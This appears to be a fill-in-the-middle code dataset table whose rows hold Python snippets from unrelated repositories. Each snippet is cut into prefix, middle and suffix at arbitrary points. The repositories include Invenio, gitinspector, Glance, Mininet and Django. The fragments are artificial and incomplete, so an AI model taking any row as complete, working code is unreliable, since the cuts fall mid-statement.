repo_name stringlengths 5 100 | path stringlengths 4 231 | language stringclasses 1
value | license stringclasses 15
values | size int64 6 947k | score float64 0 0.34 | prefix stringlengths 0 8.16k | middle stringlengths 3 512 | suffix stringlengths 0 8.17k |
|---|---|---|---|---|---|---|---|---|
Dziolas/invenio | modules/miscutil/lib/htmlutils.py | Python | gpl-2.0 | 37,499 | 0.004293 | # -*- coding: utf-8 -*-
##
## This file is part of Invenio.
## Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013 CERN.
##
## Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of t... | risky:
# <p style="background: url(myxss_suite.js)">
CFG_HTML_BUFFER_ALLOWED_ATTRIBUTE_WHITELIST = ('href', 'name', 'class')
## precompile some often-used regexp for speed reasons:
RE_HTML = re.compile("(?s)<[^>]*>|&#?\w+;")
RE_HTML_WITHOUT_ESCAPED_CHARS = re.compile("(?s)<[^>]*>")
# url validation regex
regex_url = ... | r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain...
r'localhost|' #localhost...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', ... |
YannThorimbert/PyWorld2D | rendering/tilers/tilemanager.py | Python | mit | 11,093 | 0.009015 | import math, os
import pygame
import thorpy
has_surfarray = False
try:
from PyWorld2D.rendering.tilers.beachtiler import BeachTiler
from PyWorld2D.rendering.tilers.basetiler import BaseTiler
from PyWorld2D.rendering.tilers.roundtiler import RoundTiler
from PyWorld2D.rendering.tilers.loadtiler import Lo... | s[z][0])
tiler.make(size=(cell_size,)*2, radius=0)
for n in range(nframes):
tilers[z][n] = tiler
return tilers
def build_tilers_fast(grasses, wate | rs, radius_divider, use_beach_tiler):
nzoom = len(grasses)
assert nzoom == len(waters) #same number of zoom levels
nframes = len(grasses[0])
for z in range(nzoom):
assert nframes == len(waters[z]) #same number of frames
tilers = [[None for n in range(nframes)] for z in range(nzoom)]
cell... |
vpol/gitinspector | gitinspector/filtering.py | Python | gpl-3.0 | 5,218 | 0.003642 | # coding: utf-8
#
# Copyright © 2012-2014 Ejwa Software. All rights reserved.
#
# This file is part of gitinspector.
#
# gitinspector is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the Lic... | _filtered():
for i in __filters__:
if __filters__[i][1]:
return True
return False
def set_filtered(string, filter_type="file"):
string = string.strip()
if len(string) > 0:
for i in __filters__[filter_type][0]:
tr | y:
if re.search(i, string) != None:
__filters__[filter_type][1].add(string)
return True
except:
raise InvalidRegExpError(_("invalid regular expression specified"))
return False
FILTERING_INFO_TEXT = N_(
"The following files we... |
freedomofkeima/messenger-maid-chan | tests/test_translate.py | Python | mit | 1,946 | 0 | # -*- coding: utf-8 -*-
import os
from mock import Mock, patch
from maidchan.translate import get_trans_language_prediction, get_translation
SCRIPT_PATH = os.path.abspath(os.path.dirname(__file__))
def _get_response(name):
path = os.path.join(SCRIPT_PATH, 'data', name)
with open(path) as f:
return ... |
elif '-b' in args[0] and 'en:ja' in args[0] and 'hello, world!' in args[0]:
return_value = _get_response('get_trans_translation.txt')
elif '-b' in args[0] and 'en:id' in args[0] and 'hello, world!' in args[0]:
return_value = _get_response('get_trans_translation_2.txt')
attrs = {'communicate... | _mock.configure_mock(**attrs)
return process_mock
class TestTranslate:
@patch('subprocess.Popen', side_effect=mocked_trans)
def test_get_translate_language_prediction(self, mock_trans):
assert get_trans_language_prediction("hello, world!") == "en"
@patch('subprocess.Popen', side_effect=mocked... |
Snegovikufa/HPGL-GUI | gui_widgets/treemodel.py | Python | gpl-2.0 | 12,137 | 0.004696 | #from PySide import QtGui, QtCore
#from cube_list import CubeItem, RootItem
#
#class TreeModel(QtGui.QStandardItemModel):
# def __init__(self, rows, columns, contCubes, indCubes, parent = None):
# super(TreeModel, self).__init__(rows, columns, parent)
# self.contCubes = contCubes
# self.i... | olumnCount(self, parent=QtCore.QModelIndex()):
|
return self.rootItem.columnCount()
def data(self, index, role):
if not index.isValid():
return None
if role == QtCore.Qt.DecorationRole:
if self.getItem(index).parent() == self.rootItem:
if index.column() == 0:
if index.... |
rambo/python-holviapi | holviapi/tests/test_refnos.py | Python | mit | 2,888 | 0 | # -*- coding: utf-8 -*-
import random
import pytest
from holviapi.utils import (
ISO_REFERENCE_VALID,
fin_reference_isvalid,
int2fin_reference,
iso_reference_isvalid,
str2iso_reference
)
def test_fin_reference_isvalid_valid_results():
"""Test handpicked, known-good inputs"""
assert fin_re... | _random_integers():
for x in range(1000):
testint = random.randint(1, 2**24)
reference = str2iso_reference(str(testint))
assert iso_reference_isvalid(reference)
def test_str2iso_reference_random_strings():
for x in range(1000):
teststr = ''
for y in range(5, 14):
... | += random.choice(ISO_REFERENCE_VALID)
reference = str2iso_reference(teststr)
assert iso_reference_isvalid(reference)
|
welblade/pyrom | test/__init__.py | Python | mit | 49 | 0 | #!/usr/bin/env python3 | .4
# -*- cod | ing: utf-8 -*-
|
awslabs/aws-shell | tests/unit/test_fuzzy.py | Python | apache-2.0 | 629 | 0 | import pytest
from awsshell.fuz | zy import fuzzy_search
@pytest.mark.parametrize("search,corpus,expected", [
('foo', ['foobar', 'foobaz'], ['fooba | r', 'foobaz']),
('f', ['foo', 'foobar', 'bar'], ['foo', 'foobar']),
('fbb', ['foo-bar-baz', 'fo-ba-baz', 'bar'], ['foo-bar-baz', 'fo-ba-baz']),
('fff', ['fi-fi-fi', 'fo'], ['fi-fi-fi']),
# The more chars it matches, the higher the score.
('pre', ['prefix', 'pre', 'not'], ['pre', 'prefix']),
('no... |
uogbuji/akara | test/setup_scripts/setup_basic.py | Python | apache-2.0 | 108 | 0.009259 | from akara.dist import setup
| setup(name="basic",
version="1.0",
aka | ra_extensions=["blah.py"]
)
|
np1/mps-youtube | mps_youtube/config.py | Python | gpl-3.0 | 13,150 | 0.001217 | import os
import re
import sys
import copy
import pickle
from urllib.request import urlopen
from urllib.error import HTTPError
from urllib.parse import urlencode
try:
import pylast
has_pylast = True
except ImportError:
has_pylast = False
import pafy
from . import g, c, paths, util
mswin = os.name == "n... | nduser(d)
if os.path.isdir(expanded):
message = "Downloads will be saved to " + c.y + d + c.w
return dict(valid=True, message=message, value=expanded)
else:
message = | "Not a valid directory: " + c.r + d + c.w
return dict(valid=False, message=message)
def check_win_pos(pos):
""" Check window position input. """
if not pos.strip():
return dict(valid=True, message="Window position not set (default)")
pos = pos.lower()
reg = r"(TOP|BOTTOM).?(LEFT|RIGH... |
delletenebre/xbmc-addon-kilogramme | plugin.video.kilogramme/resources/lib/site_ockg.py | Python | gpl-3.0 | 20,423 | 0.0036 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2, re, json, time, xbmc, traceback
from _header import *
BASE_URL = 'http://cinemaonline.kg/'
BASE_NAME = 'Cinema Online'
BASE_LABEL = 'oc'
GA_CODE = 'UA-34889597-1'
NK_CODE = '1744'
def default_oc_noty():
plugin.notify('Сервер недоступен', BASE_NAME, image=... | y_pagination', id)
return items
@plugin.route('/site/' + BASE_LABEL + '/category/<id>/<page>')
def oc_category_pagination(id, page='1'):
page = int(page)
item_list = get_movie_list(id, page)
items = [{
'label': item['label'],
'path': plugin.url_for('oc_movie', id=ite... | ies'],
'icon': item['icon'],
} for item in item_list['items']]
if (item_list['sys_items']):
items = add_pagination(items, item_list['sys_items'], 'oc_category_pagination', id)
return plugin.finish(items, update_listing=True)
@plugin.route('/site/' + BASE_LABEL + '/to_pa... |
opennetworkinglab/spring-open | old-scripts/test-network/mininet/net.sprint5-templete.py | Python | apache-2.0 | 4,452 | 0.02628 | #!/usr/bin/python
NWID=1
NR_NODES=20
#Controllers=[{"ip":'127.0.0.1', "port":6633}, {"ip":'10.0.1.28', "port":6633}]
Controllers=[{"ip":'10.0.1.28', "port":6633}]
"""
Start up a Simple topology
"""
from mininet.net import Mininet
from mininet.node import Controller, RemoteController
from mininet.log import setLogLeve... | cessible"
listening = self.cmd( "echo A | telnet -e A %s %d" %
( self.ip, self.port ) )
if 'Unable' in listening:
warn( "Unable to contact the remote controller"
" at %s:%d\n" % ( self.ip, self.port ) )
class SDNTopo( Topo ):
"SDN Topology... | st = []
root = []
for i in range (NR_NODES):
name_suffix = '%02d' % NWID + "." + '%02d' % i
dpid_suffix = '%02x' % NWID + '%02x' % i
dpid = '0000' + '0000' + '0000' + dpid_suffix
sw = self.addSwitch('sw'+name_suffix, dpid=dpid)
switch.append(s... |
anisku11/sublimeku | Packages/CodeComplice/libs/codeintel2/udl.py | Python | mit | 23,772 | 0.000463 | #!python
# ***** BEGIN LICENSE BLOCK *****
# Version: MPL 1.1/GPL 2.0/LGPL 2.1
#
# The contents of this file are subject to the Mozilla Public License
# Version 1.1 (the "License"); you may not use this file except in
# compliance with the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/
#... | sfile_from_lang
else:
@staticmethod
def _generate_lexer_mapping():
"""Return dict {name > filename} of all lexer resource files (i.e.
those ones that can include co | mpiled UDL .lexres files).
It yields directories that should "win" first.
"""
from glob import glob
lexresfile_from_lang = {}
# Find all possible lexer dirs.
lexer_dirs = []
lexer_dirs.append(join(dirname(__file__), "lexers"))
... |
ddico/server-tools | module_auto_update/models/module.py | Python | agpl-3.0 | 6,204 | 0 | # -*- coding: utf-8 -*-
# Copyright 2017 LasLabs Inc.
# Copyright 2018 ACSONE SA/NV.
# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl).
import json
import logging
import os
from openerp import api, exceptions, models, tools
from openerp.modules.module import get_module_path
from ..addon_hash import addo... | is method does
nothing, otherwise the normal Odoo upgrade process is launched.
After a successful upgrade, the checksums of installed modules are
saved.
In case of error during the upgrade, an exception is raised.
If any module remains to upgrade or to uninstall after the upgra... | tep, it is therefore not intended to be run as part of a
larger transaction.
"""
_logger.info(
"Checksum upgrade starting (i18n-overwrite=%s)...",
overwrite_existing_translations
)
tools.config['overwrite_existing_translations'] = \
overwrite_... |
midonet/kuryr | kuryr/schemata/endpoint_delete.py | Python | apache-2.0 | 1,400 | 0 | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License | at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distri | buted on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from kuryr.schemata import commons
ENDPOINT_DELETE_SCHEMA = {
u'links': [{
u'method': u'POST',
... |
frappe/frappe | frappe/tests/test_commands.py | Python | mit | 22,402 | 0.025266 | # Copyright (c) 2022, Frappe Technologies Pvt. Ltd. and Contributors
# License: MIT. See LICENSE
# imports - standard imports
import gzip
import importlib
import json
import os
import shlex
import shutil
import subprocess
import unittest
from contextlib import contextmanager
from functools import wraps
from glob impor... | nce(cmd_input, bytes):
raise Exception(
f"The input should be of type bytes, not {type(cmd_input).__name__}"
)
del kwargs["cmd_input"]
kwargs.update(site)
else:
kwargs = site
self.command = " ".join(command.split()).format(**kwargs)
click.secho(self.command, fg="bright_black")
| command = shlex.split(self.command)
self._proc = subprocess.run(command, input=cmd_input, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
self.stdout = clean(self._proc.stdout)
self.stderr = clean(self._proc.stderr)
self.returncode = clean(self._proc.returncode)
@classmethod
def setup_test_site(cls):
cmd... |
insequent/kargo | library/kube.py | Python | apache-2.0 | 8,694 | 0.00161 | #!/usr/bin/python
# -*- coding: utf-8 -*-
DOCUMENTATION = """
---
module: kube
short_description: Manage Kubernetes Cluster
description:
- Create, replace, remove, and stop resources within a Kubernetes Cluster
version_added: "2.0"
options:
name:
required: false
default: null
description:
- The n... | d.append('--force')
if not self.filename:
self.module.fail_json(msg='filename required to create')
cmd.append('--filename=' + ','.join(self.filename))
| return self._execute(cmd)
def replace(self, force=True):
cmd = ['apply']
if force:
cmd.append('--force')
if not self.filename:
self.module.fail_json(msg='filename required to reload')
cmd.append('--filename=' + ','.join(self.filename))
re... |
JavierGarciaD/Algorithmic_Thinking | src/project_3_test_data.py | Python | gpl-3.0 | 2,503 | 0.003196 | '''
Created on 26/09/2014
@author: javgar119
'''
cluster_list =([Cluster(set([]), 0, 0, 1, 0),
Cluster(set([]), 1, 0, 1, 0)])
cluster_list2 = ([Cluster(set([]), 0, 0, 1, 0),
Cluster(set([]), 1, 0, 1, 0),
Cluster(set([]), 2, 0, 1, 0... | Cluster(set([]), -57.5872347006, 99.7124028905, 1, 0),
Cluster(set([]), -15.9338519877, 5.91547495626, 1, 0),
Cluster(set([]), 19.1869055492, -28.0681513017, 1, 0),
Cluster(set([]), -23.0752410653, -42.1353490324, 1, 0),
... |
Cluster(set([]), 99.7789872101, -11.2619165604, 1, 0),
Cluster(set([]), -43.3699854405, -94.7349852817, 1, 0),
Cluster(set([]), 48.2281912402, -53.3441788034, 1, 0)])
expected3 = set([(10.5745166749, 0, 7)]) |
stefan-walluhn/RPi.TC | tests/test_out.py | Python | gpl-3.0 | 607 | 0 | from rpitc.io import IO |
class TestOut:
def test_init_on(self, gpio):
from rpitc.io.out import Out
out = Out(7, status=IO.ON)
assert out.status == IO.ON
out.off()
def test_set_pin(self, out):
assert out.set_pin(IO.ON) == IO.ON
def test_on(self, out):
out.on()
assert out.s... | assert out.status == IO.ON
out.toggle()
assert out.status == IO.OFF
|
MarionTheBull/watchmaker | tests/test_watchmaker.py | Python | apache-2.0 | 209 | 0 | import pytest
import watchmaker
| @pytest.fixture
def setup_object():
pass
def test_main():
"""Placeholder for tests"""
# Placeholder
assert watchmaker.__ve | rsion__ == watchmaker.__version__
|
dsanders11/django-future-staticfiles | tests/staticfiles_tests/signals.py | Python | bsd-3-clause | 3,301 | 0 | import os
import threading
import time
from django.conf import settings
from django.db import connections
from django.dispatch import receiver
from django.test.signals import setting_changed
from django.utils import timezone
from django.utils.functional import empty
# Most setting_changed receivers are supposed to be... | ading.local()
if kwargs['setting'] in ['LANGUAGES', 'LOCALE_PATHS']:
from django.utils.translation import trans_real
trans_real._translations = {}
trans_real.check_for_language.cache_clear()
@receiver(setting_changed)
def file_storage_changed(**kwargs):
file_s | torage_settings = [
'DEFAULT_FILE_STORAGE',
'FILE_UPLOAD_DIRECTORY_PERMISSIONS',
'FILE_UPLOAD_PERMISSIONS',
'MEDIA_ROOT',
'MEDIA_URL',
]
if kwargs['setting'] in file_storage_settings:
from django.core.files.storage import default_storage
default_storage._... |
giliam/turbo-songwriter | backend/turbosettings/settings.py | Python | mit | 4,924 | 0.001422 | # coding:utf-8
"""
Django settings for turbo project.
Generated by 'django-admin startproject' using Django 1.11.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"... | ALIDATORS = [
| {
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'djan... |
bgroveben/python3_machine_learning_projects | learn_kaggle/deep_learning/packages/learntools/gans/generators.py | Python | mit | 2,657 | 0.007151 |
import tensorflow as tf
from tensorflow.python.keras.layers import Conv2D, Conv2DTranspose, Conv3D, Dense, Reshape
tfgan = tf.contrib.gan
def basic_generator(noise):
"""Simple generator to produce MNIST images.
Args:
noise: A single Tensor representing noise.
Returns:
A generated image... | 2, padding="same", activation='elu')(net)
# Make sure that ge | nerator output is in the same range as `inputs`
# ie [-1, 1].
net = Conv2D(1, kernel_size=4, activation = 'tanh', padding='same')(net)
return net
def conditional_generator(inputs):
"""Generator to produce MNIST images.
Args:
inputs: A 2-tuple of Tensors (noise, one_hot_labels).
Return... |
dbarobin/pytools | py-practice/insert_data.py | Python | gpl-2.0 | 868 | 0.002304 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Robin Wen
# Date: 2014-11-18
# Desc: Connect to MySQL using MySQLdb package, and insert test data.
import MySQLdb as mdb
con = mdb.connect(host='10.10.3.121', user='robin', passwd='robin89@DBA', db='testdb', unix_socket='/tmp/mysql5173.sock', port=5173 | )
with con:
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS Writers")
cur.execute("CREATE TABLE Writers(Id INT PRIMARY KEY AUTO_INCREMENT, \
Name VARCHAR(25))")
cur.execute("INSERT INTO Writers(Name) VALUES('Jack London')")
cur.execute("INSERT INTO Writers(Name) VALUES('H... | riters(Name) VALUES('Lion Feuchtwanger')")
cur.execute("INSERT INTO Writers(Name) VALUES('Emile Zola')")
cur.execute("INSERT INTO Writers(Name) VALUES('Truman Capote')")
con.close()
|
chrisortman/CIS-121 | k0459866/Lessons/ex12.py | Python | mit | 2,216 | 0.009928 | #import factorial
#import square
x = int(raw_input("What is 'x'?\n"))
y = int(raw_input("What is y?\n"))
# question0 = str(raw_input("Define a y value? (y/n)\n"))
# if (question0 == "y","Y","yes","Yes"):
# y = int(raw_input("What will 'y' be?\n"))
# elif (y == "n","N","no","No"):
# question2 = str(raw_input("I... | 0)
yodd = (y % 2 != 0)
# xfact = (factorial(x))
# yfact = (factorial(y))
print "If you add x and y, you'll get %s." % add
print "If you subtract x and y, you'll get %s." % sub
print "If you multiply x and y, you'll get %s." % mult
print "If you divide x | and y, you'll get %s, with a remainder of %s." % (div, rem)
if (x % 2 == 0):
print "x is even."
if (x % 2 != 0):
print "x is odd."
if (y % 2 == 0):
print "y is even."
if (y % 2 != 0):
print "y is odd."
print "If you square x, you get %s, and y squared is %s." % ((x^2),(y^2))
print "If you cube x, you ... |
alex-dow/psistatsrd | psistatsrd/utils/drawable.py | Python | mit | 2,757 | 0.009068 | import pygame
import sys
from psistatsrd.app import App
def create_queue_row(data, config):
mem_graph = create_mem_graph(config)
cpu_graph = create_cpu_graph(config)
scroll_text = []
title = []
if type(data['ipaddr']).__name__ == "list":
scroll_text = scroll_text + data['ipaddr']
el... | Scroller(
scroll_speed = float(config['scroller.scroll_speed']),
scroll_delay = int(config['scroller.scroll_delay']),
scroll_pause = int(config['scroller.scroll_pause']),
text_font = config['scroller.font.name'],
text_aa = config['scroller.font.aa'],
text_size = int(confi... | oller.color'],
bgcolor=config['scroller.bgcolor'],
text_lines=scroll_text
)
return s
def create_resource_graph(key, config):
g = Graph2(
height=int(config['graph.%s.height' % key]),
width=int(config['graph.%s.width' % key]),
line_width=int(config['graph.%s.li... |
alexrudy/AstroObject | Examples/pipeline.py | Python | gpl-3.0 | 7,924 | 0.016406 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# pipeline.py
# AstroObject
#
# Created by Alexander Rudy on 2012-04-25.
# Copyright 2012 Alexander Rudy. All rights reserved.
#
u"""
Basic CCD Reduction Pipeline written with AstroObject
"""
# Python Imports
import shutil
import os
import collections
# Numpy I... | self.load_type("Bias",self.bias)
| # Set Header Values for each image.
for frame in self.bias.values():
frame.header.update('IMAGETYP','zero')
self.log.debug("Set IMAGETYP=zero for frame %s" % frame)
self.log.debug("Set Header IMAGETYP=zero for frames %r" % self.bias.list())
def load_dark(self):... |
jacoboamn87/todolist | todo/settings.py | Python | gpl-3.0 | 3,308 | 0.001209 | """
Django settings for todo project.
Generated by 'django-admin startproject' using Django 1.9.2.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import os
# Bu... | .NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.9/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18 | N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.9/howto/static-files/
STATIC_URL = '/static/'
|
openstack/glance | glance/api/v2/metadef_namespaces.py | Python | apache-2.0 | 38,490 | 0 | # Copyright (c) 2014 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | s_schema_lin | k = '/v2/schemas/metadefs/namespace'
self.obj_schema_link = '/v2/schemas/metadefs/object'
self.tag_schema_link = '/v2/schemas/metadefs/tag'
def index(self, req, marker=None, limit=None, sort_key='created_at',
sort_dir='desc', filters=None):
try:
ns_repo = self.gate... |
eljost/pysisyphus | pysisyphus/drivers/precon_pos_rot.py | Python | gpl-3.0 | 19,597 | 0.000714 | # [1] https://doi.org/10.1002/jcc.26495
# Habershon, 2021
"""
prp a901cdfacc579eb63b193cbc9043212e8b57746f
pysis 340ab6105ac4156f0613b4d0e8f080d9f195530c
do_trans accidentally disabled in transtorque
"""
from functools import reduce
import itertools as it
import numpy as np
from pysisyphus.calculators import (
... | "s4_w_kappa": 1.0,
"s5_v_kappa": 1.0,
"s5_w_kappa": 3.0,
"s5_hs_kappa": 10.0,
"s5_z_kappa": 2.0,
"s5_trans": True,
"s5_rms_force": 0.01,
}
def precon_pos_rot(reactants, products, prefix=None, config=CONFIG):
c = config
if prefix is None:
prefix = ""
def make_fn( | fn):
return prefix + fn
rfrags, rfrag_bonds, rbonds, runion = get_fragments_and_bonds(reactants)
pfrags, pfrag_bonds, pbonds, punion = get_fragments_and_bonds(products)
pbond_diff = pbonds - rbonds # Present in product(s)
rbond_diff = rbonds - pbonds # Present in reactant(s)
involved_ato... |
bryanveloso/avalonstar-tv | apps/broadcasts/migrations/0002_auto_20140927_0415.py | Python | apache-2.0 | 627 | 0.001595 | # - | *- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('broadcasts', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='broadcast',
name='ser... | Field(
model_name='broadcast',
name='status',
field=models.CharField(max_length=200, blank=True),
),
]
|
secnot/tutorial-tienda-django-paypal-1 | tiendalibros/tiendalibros/wsgi.py | Python | gpl-3.0 | 401 | 0 | """
WSGI config for tiendalibros project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject. | com/en/1.8/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJ | ANGO_SETTINGS_MODULE", "tiendalibros.settings")
application = get_wsgi_application()
|
sarbi127/inviwo | data/scripts/camerarotation.py | Python | bsd-2-clause | 687 | 0.040757 | # Inviwo Python script
import inviwo
import math
import time
start = time.clock()
scale = 1;
d = 15
steps = 120
for i in range(0, steps):
| r = (2 * 3.14 * i) / steps
x = d*math.sin(r)
z = -d*math.cos(r)
inviwo.setPropertyValue("EntryExitPoints.camera",((x*scale,3*scale,z*scale),(0,0,0),(0,1,0)))
for i in range(0, steps):
r = (2 * 3.14 * i) / (steps)
x = 1.0*math.sin(r)
z = 1.0*math.cos(r)
inviwo.setCameraUp("EntryExitPo... | "Frames per second: " + str(fps))
print("Time per frame: " + str(round(1000/fps,1)) + " ms") |
google/spectral-density | tf/experiment_utils_test.py | Python | apache-2.0 | 3,931 | 0.005342 | # Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | ])
sess.run(normalize_ops)
u_final, v_final, w_final, x_final = sess.run([u, v, w, x])
u_norms = np.sq | rt(np.sum(np.square(u_initial), axis=(0, 1, 2)))
w_norms = np.sqrt(np.sum(np.square(w_initial), axis=(0, 1, 2)))
# We expect that the abcdef weights are normalized in pairs, that
# the unpaired weights are normalized on their own, and the
# untouched weights are in fact untouched.
self.assertAllClo... |
jpacerqueira/jpac-flume-logs | generator/gen_events.py | Python | apache-2.0 | 1,662 | 0.015042 | #!/usr/bin/python
'''
This script is used to generate a set of random-ish events to
simulate log data from a Juniper Netscreen FW. It was built
around using netcat to feed data into Flume for ingestion
into a Hadoop cluster.
Once you have Flume configured you would use the following
command to populate data:
./g... | rt sleep
protocols = ['6', '17']
common_ports = ['20','21','22','23','25','80','109','110','119','143','156','161','389','443 | ']
action_list = ['Deny', 'Accept', 'Drop', 'Reject'];
src_network = IPNetwork('192.168.1.0/24')
dest_network = IPNetwork('172.35.0.0/16')
fo = open("replay_log.txt", "w")
while (1 == 1):
proto_index = random.randint(0,1)
protocol = protocols[proto_index]
src_port_index = random.randint(0,13)
dest_port... |
nthiep/global-ssh | gosh/stun.py | Python | agpl-3.0 | 4,914 | 0.037241 | import struct, socket, time, logging
from gosh.config import STUN_SERVER, STUN_PORT, logger
from gosh import JsonSocket
#=============================================================================
# STUN Client
# ============================================================================
class StunClient(object):... | DING_REQUEST'
data["CHANGE-REQUEST"] = 'CHANGE-REQUEST'
data["CHANGE-IP"] = changeip
d | ata["CHANGE-PORT"] = changeport
return data
def binding_request(self, server, port, request, mapping=False):
""" check nat type """
udpconnect = False
if self.tcp:
self.sock = JsonSocket(JsonSocket.TCP)
self.sock.set_reuseaddr()
if self.port:
self.sock.bind(self.port)
logger.debug("binding_r... |
underbluewaters/marinemap | lingcod/news/urls.py | Python | bsd-3-clause | 788 | 0.006345 | from dja | ngo.conf.urls.defaults import *
from models import Entry, Tag
from django.views.generic.dates import ArchiveIndexView, DateDetailView
from django.views.generic import TemplateView
urlpatterns = patterns('',
url(r'^/?$', ArchiveIndexView.as_view(model=Entry, date_field="published_on"), name="news-main"),
# url(... | s-detail"),
url(r'^(?P<year>\d+)/(?P<month>[-\w]+)/(?P<day>\d+)/(?P<pk>\d+)/$',
DateDetailView.as_view(model=Entry, date_field="published_on"),
name="news_detail"),
url(r'^about/$', TemplateView.as_view(template_name='news/about.html'), name='news-about'),
)
|
alexander-matsievsky/HackerRank | All_Domains/Python/Collections/word-order.py | Python | mit | 269 | 0 | from collecti | ons import OrderedDict
n = int(input())
occurrences = OrderedDict()
for _ in range(0, n):
word = input().strip()
occ | urrences[word] = occurrences.get(word, 0) + 1
print(len(occurrences))
print(sep=' ', *[count for _, count in occurrences.items()])
|
tarmstrong/nbdiff | tests/test_git_adapter.py | Python | mit | 3,720 | 0 | from nbdiff.adapter import git_adapter as g
from pretend import stub
def test_get_modified_notebooks_empty():
g.subprocess = stub(check_output=lambda cmd: 'true\n'
if '--is-inside-work-tree' in cmd
else '')
adapter = g.GitAdapter()
result = adapter.get_modif... | assert len(result) == 1
def test_get_modified_notebooks():
adapter = g.GitA | dapter()
def check_output_stub(cmd):
if '--modified' in cmd:
output = '''foo.ipynb
bar.ipynb
foo.txt
baz.ipynb
'''
return output
elif '--unmerged' in cmd:
return ''.join([
'100755\thash\t{i}\tfoo.ipynb\n'
for i in [1, 2, 3]
... |
rogerscristo/BotFWD | env/lib/python3.6/site-packages/telegram/ext/jobqueue.py | Python | mit | 20,684 | 0.004448 | #!/usr/bin/env python
# flake8: noqa E501
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2017
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Publ... | bot
self.logger = logging.getLogger(self.__class__.__name__)
self.__start_lock = Lock()
self.__next_peek_lock = Lock() # to protect self._next_peek & self.__tick
self.__tick = Event()
self.__thread = None
self._next_peek = None
self._running = False
... | :
This method is deprecated. Please use: :attr:`run_once`, :attr:`run_daily`
or :attr:`run_repeating` instead.
Args:
job (:class:`telegram.ext.Job`): The ``Job`` instance representing the new job.
next_t (:obj:`int` | :obj:`float` | :obj:`datetime.timedelta... |
nelango/ViralityAnalysis | model/lib/nltk/tree.py | Python | mit | 64,375 | 0.003216 | # -*- coding: utf-8 -*-
# Na | tural Language Toolkit: Text Trees
#
# Copyright (C) 2001-2015 NLTK Project
# Author: Edward Loper <edloper@gmail.com>
# Steven Bird <stevenbird1@gmail.com>
# Peter Ljunglöf <peter.ljunglof@gu.se>
# Nathan Bodenstab <bodenstab@cslu.ogi.edu> (tree | transforms)
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
"""
Class for representing hierarchical language structures, such as
syntax trees and morphological trees.
"""
from __future__ import print_function, unicode_literals
# TODO: add LabelledTree (can be used for dependency trees)
import r... |
learningequality/video-vectorization | video_processing/pipelines/simple_encode_decode.py | Python | mit | 902 | 0.003326 | # Copyright 2019 Google LLC.
"""Pipeline to decode and reencode a video using OpenCV."""
from absl import app
from absl import flags
from video_processing import processor_runner
from video_processing.processors import opencv_video_decoder
from video_processing.processors import opencv_video_encoder
flags.DEFINE_stri... | ecoderProcessor(
{'input_video_file': input_video_file}),
opencv_video_encoder.OpenCVVi | deoEncoderProcessor(
{'output_video_file': output_video_file})
]
def main(unused_argv):
processor_runner.run_processor_chain(
pipeline(FLAGS.input_video_file, FLAGS.output_video_file))
if __name__ == '__main__':
app.run(main)
|
andresriancho/moto | tests/test_ec2/test_placement_groups.py | Python | apache-2.0 | 109 | 0 | import boto |
import sure # noqa
from moto import mock_ec2
@mock_ec2
def test_placement_groups | ():
pass
|
google/grumpy | third_party/pythonparser/ast.py | Python | apache-2.0 | 26,727 | 0.005131 | # encoding: utf-8
"""
The :mod:`ast` module contains the classes comprising the Python abstract syntax tree.
All attributes ending with ``loc`` contain instances of :class:`.source.Range`
or None. All attributes ending with ``_locs`` contain lists of instances of
:class:`.source.Range` or [].
The attribute ``loc``, ... | operator."""
class IsNot(cmpop):
